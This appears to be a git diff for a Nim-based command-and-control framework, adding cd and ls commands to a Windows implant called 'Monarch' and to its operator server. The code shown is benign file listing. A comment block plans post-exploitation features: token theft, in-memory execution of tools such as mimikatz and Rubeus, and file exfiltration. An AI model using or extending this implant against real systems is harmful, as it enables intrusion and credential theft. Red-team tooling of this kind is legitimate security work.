diff --git a/agents/monarch/commands/cd.nim b/agents/monarch/commands/cd.nim new file mode 100644 index 0000000..5292620 --- /dev/null +++ b/agents/monarch/commands/cd.nim @@ -0,0 +1,27 @@ +import os, strutils, base64, winim, strformat, sequtils +import ../types + +proc taskCd*(task: Task): TaskResult = + + let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "") + echo fmt"Changing current working directory to {targetDirectory}." + + try: + # Get current working directory using GetCurrentDirectory + if SetCurrentDirectoryW(targetDirectory) == FALSE: + raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") + + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(""), + status: Completed + ) + + except CatchableError as err: + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) \ No newline at end of file diff --git a/agents/monarch/commands/commands.nim b/agents/monarch/commands/commands.nim index a1c6402..f6c3d53 100644 --- a/agents/monarch/commands/commands.nim +++ b/agents/monarch/commands/commands.nim @@ -1,3 +1,3 @@ -import ./[shell, sleep, pwd] +import ./[shell, sleep, pwd, cd, ls] -export shell, sleep, pwd \ No newline at end of file +export shell, sleep, pwd, cd, ls \ No newline at end of file diff --git a/agents/monarch/commands/ls.nim b/agents/monarch/commands/ls.nim new file mode 100644 index 0000000..e04d4a2 --- /dev/null +++ b/agents/monarch/commands/ls.nim @@ -0,0 +1,155 @@ +import os, strutils, strformat, base64, winim, times, algorithm + +import ../types + +proc taskDir*(task: Task): TaskResult = + + echo fmt"Listing files and directories in current working directory." + + try: + # Check if users wants to list files in the current working directory or at another path + var targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "") + + if targetDirectory == "": + # Get current working directory using GetCurrentDirectory + let + cwdBuffer = newWString(MAX_PATH + 1) + cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer) + + if cwdLength == 0: + raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + + targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] + + # Prepare search pattern (target directory + \*) + let searchPattern = targetDirectory & "\\*" + let searchPatternW = newWString(searchPattern) + + var + findData: WIN32_FIND_DATAW + hFind: HANDLE + output = "" + entries: seq[string] = @[] + totalFiles = 0 + totalDirs = 0 + + # Find files and directories in target directory + hFind = FindFirstFileW(searchPatternW, &findData) + + if hFind == INVALID_HANDLE_VALUE: + raise newException(OSError, fmt"Failed to find files ({GetLastError()}).") + + # Directory was found and can be listed + else: + output = fmt"Directory: {targetDirectory}" & "\n\n" + output &= "Mode LastWriteTime Length Name" & "\n" + output &= "---- ------------- ------ ----" & "\n" + + # Process all files and directories + while true: + let fileName = $cast[WideCString](addr findData.cFileName[0]) + + # Skip current and parent directory entries + if fileName != "." and fileName != "..": + # Get file attributes and size + let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0 + let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0 + let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0 + let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0 + let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow) + + # Handle flags + var mode = "" + if isDir: + mode = "d" + inc totalDirs + else: + mode = "-" + inc totalFiles + + if isArchive: + mode &= "a" + else: + mode &= "-" + + if isReadOnly: + mode &= "r" + else: + mode &= "-" + + if isHidden: + mode &= "h" + else: + mode &= "-" + + if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0: + mode &= "s" + else: + mode &= "-" + + # Convert FILETIME to local time and format + var + localTime: FILETIME + systemTime: SYSTEMTIME + dateTimeStr = "01/01/1970 00:00:00" + + if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0: + # Format date and time in PowerShell style + dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}" + + # Format file size + var sizeStr = "" + if isDir: + sizeStr = "" + else: + sizeStr = ($fileSize).replace("-", "") + + # Build the entry line + let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}" + entries.add(entryLine) + + # Find next file + if FindNextFileW(hFind, &findData) == 0: + break + + # Close find handle + discard FindClose(hFind) + + # Add entries to output after sorting them (directories first, files afterwards) + entries.sort do (a, b: string) -> int: + let aIsDir = a[0] == 'd' + let bIsDir = b[0] == 'd' + + if aIsDir and not bIsDir: + return -1 + elif not aIsDir and bIsDir: + return 1 + else: + # Extract filename for comparison (last part after the last space) + let aParts = a.split(" ") + let bParts = b.split(" ") + let aName = aParts[^1] + let bName = bParts[^1] + return cmp(aName.toLowerAscii(), bName.toLowerAscii()) + + for entry in entries: + output &= entry & "\n" + + # Add summary of how many files/directories have been found + output &= "\n" & fmt"{totalFiles} file(s)" & "\n" + output &= fmt"{totalDirs} dir(s)" & "\n" + + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(output), + status: Completed + ) + + except CatchableError as err: + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) \ No newline at end of file diff --git a/agents/monarch/commands/pwd.nim b/agents/monarch/commands/pwd.nim index f008ed4..b886216 100644 --- a/agents/monarch/commands/pwd.nim +++ b/agents/monarch/commands/pwd.nim @@ -14,7 +14,7 @@ proc taskPwd*(task: Task): TaskResult = length = GetCurrentDirectoryW(MAX_PATH, &buffer) if length == 0: - raise newException(OSError, "Failed to get working directory.") + raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") return TaskResult( task: task.id, diff --git a/agents/monarch/nim.cfg b/agents/monarch/nim.cfg index 5c8ea9d..6615ef3 100644 --- a/agents/monarch/nim.cfg +++ b/agents/monarch/nim.cfg @@ -5,4 +5,4 @@ -d:Octet3="0" -d:Octet4="1" -d:ListenerPort=5555 --d:SleepDelay=10 +-d:SleepDelay=1 diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim index 01a1a1a..61c832c 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/task.nim @@ -28,6 +28,16 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult = echo taskResult.data return taskResult + of SetWorkingDirectory: + let taskResult = taskCd(task) + echo taskResult.data + return taskResult + + of ListDirectory: + let taskResult = taskDir(task) + echo taskResult.data + return taskResult + else: echo "Not implemented" return nil \ No newline at end of file diff --git a/server/agent/agent.nim b/server/agent/agent.nim index b2626a9..98a624f 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -223,7 +223,16 @@ proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = let date: string = now().format("dd-MM-yyyy HH:mm:ss") if taskResult.status == Failed: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.", "\n") + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.") + + if taskResult.data != "": + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:") + + # Split result string on newline to keep formatting + for line in decode(taskResult.data).split("\n"): + cq.writeLine(line) + else: + cq.writeLine() else: cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.") diff --git a/server/agent/commands/cd.nim b/server/agent/commands/cd.nim new file mode 100644 index 0000000..fe5cd29 --- /dev/null +++ b/server/agent/commands/cd.nim @@ -0,0 +1,19 @@ +import nanoid, sequtils, strutils, strformat, terminal, times +import ../../types + +proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: SetWorkingDirectory, + args: arguments, + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to change current working directory.") \ No newline at end of file diff --git a/server/agent/commands/commands.nim b/server/agent/commands/commands.nim index 1adbdae..b8d6bfc 100644 --- a/server/agent/commands/commands.nim +++ b/server/agent/commands/commands.nim @@ -1,19 +1,38 @@ -import ./[shell, sleep, pwd] -export shell, sleep, pwd +import ./[shell, sleep, pwd, cd, ls] +export shell, sleep, pwd, cd, ls #[ "Monarch" Agent commands: - Basic - ----- - [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx) - [ ] pwd : Get current working directory - [ ] cd : Change directory - [ ] ls/dir : List all files in directory (including hidden ones) - [ ] cat/type : Display contents of a file + House-keeping + ------------- [~] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent - Post-exploitation + Basic API-only Commands + ----------------------- + [~] pwd : Get current working directory + [~] cd : Change directory + [ ] ls/dir : List all files in directory (including hidden ones) + [ ] cat/type : Display contents of a file + [ ] env : Display environment variables + [ ] ps : List processes + [ ] whoami : Get UID and privileges, etc. + + [ ] token : Token impersonation + [ ] make : Create a token from a user's plaintext password + [ ] steal : Steal the access token from a process + [ ] use : Impersonate a token from the token vault + + Execution Commands + ------------------ + [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx) + [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o) + - Read from listener endpoint directly to memory + - Base for all kinds of BOFs (Situational Awareness, ...) + [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe) + [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe ) + + Post-Exploitation ----------------- [ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks) - File to be downloaded moved to specific endpoint on listener, e.g. GET ////file @@ -22,9 +41,4 @@ export shell, sleep, pwd - Create loot directory for agent to store files in - Read file into memory and send byte stream to specific endpoint, e.g. POST ///-task/file - Encrypt file in-transit!!! - [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o) - - Read from listener endpoint directly to memory - [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe) - [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe ) - ]# \ No newline at end of file diff --git a/server/agent/commands/ls.nim b/server/agent/commands/ls.nim new file mode 100644 index 0000000..12bbe3b --- /dev/null +++ b/server/agent/commands/ls.nim @@ -0,0 +1,19 @@ +import nanoid, sequtils, strutils, strformat, terminal, times +import ../../types + +proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: ListDirectory, + args: arguments, + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to list files and directories.") \ No newline at end of file diff --git a/server/agent/interact.nim b/server/agent/interact.nim index f009222..a5bd42e 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -21,7 +21,15 @@ var parser = newParser: help("Display agent information and current settings.") command("pwd"): - help("Retrieve current working directory") + help("Retrieve current working directory.") + + command("cd"): + help("Change current working directory.") + arg("directory", help="Relative or absolute path of the directory to change to.", nargs = -1) + + command("ls"): + help("List files and directories.") + arg("directory", help="Relative or absolute path. Default: current working directory.", nargs = -1) command("help"): nohelpflag() @@ -64,6 +72,12 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = of "pwd": cq.taskGetWorkingDirectory() + of "cd": + cq.taskSetWorkingDirectory(opts.cd.get.directory) + + of "ls": + cq.taskListDirectory(opts.ls.get.directory) + # Handle help flag except ShortCircuit as err: if err.flag == "argparse_help": diff --git a/server/types.nim b/server/types.nim index 34c9fe8..238d219 100644 --- a/server/types.nim +++ b/server/types.nim @@ -16,6 +16,8 @@ type ExecutePe = "pe" Sleep = "sleep" GetWorkingDirectory = "pwd" + SetWorkingDirectory = "cd" + ListDirectory = "ls" TaskStatus* = enum Completed = "completed"